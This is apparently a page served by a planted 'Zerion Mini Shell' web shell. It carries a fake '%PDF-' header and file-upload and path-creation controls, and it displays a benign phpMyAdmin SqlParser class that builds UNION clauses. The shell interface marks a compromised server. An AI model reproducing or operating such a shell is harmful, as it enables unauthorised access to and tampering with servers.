%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/1857783/task/1857783/root/usr/share/php/PhpMyAdmin/SqlParser/Components/
Upload File :
Create Path :
Current File : //proc/1857783/task/1857783/root/usr/share/php/PhpMyAdmin/SqlParser/Components/UnionKeyword.php

<?php

/**
 * `UNION` keyword builder.
 */

namespace PhpMyAdmin\SqlParser\Components;

use PhpMyAdmin\SqlParser\Component;

/**
 * `UNION` keyword builder.
 *
 * @category   Keywords
 *
 * @license    https://www.gnu.org/licenses/gpl-2.0.txt GPL-2.0+
 */
class UnionKeyword extends Component
{
    /**
     * @param array<UnionKeyword[]> $component the component to be built
     * @param array                 $options   parameters for building
     *
     * @return string
     */
    public static function build($component, array $options = array())
    {
        $tmp = array();
        foreach ($component as $componentPart) {
            $tmp[] = $componentPart[0] . ' ' . $componentPart[1];
        }

        return implode(' ', $tmp);
    }
}

Zerion Mini Shell 1.0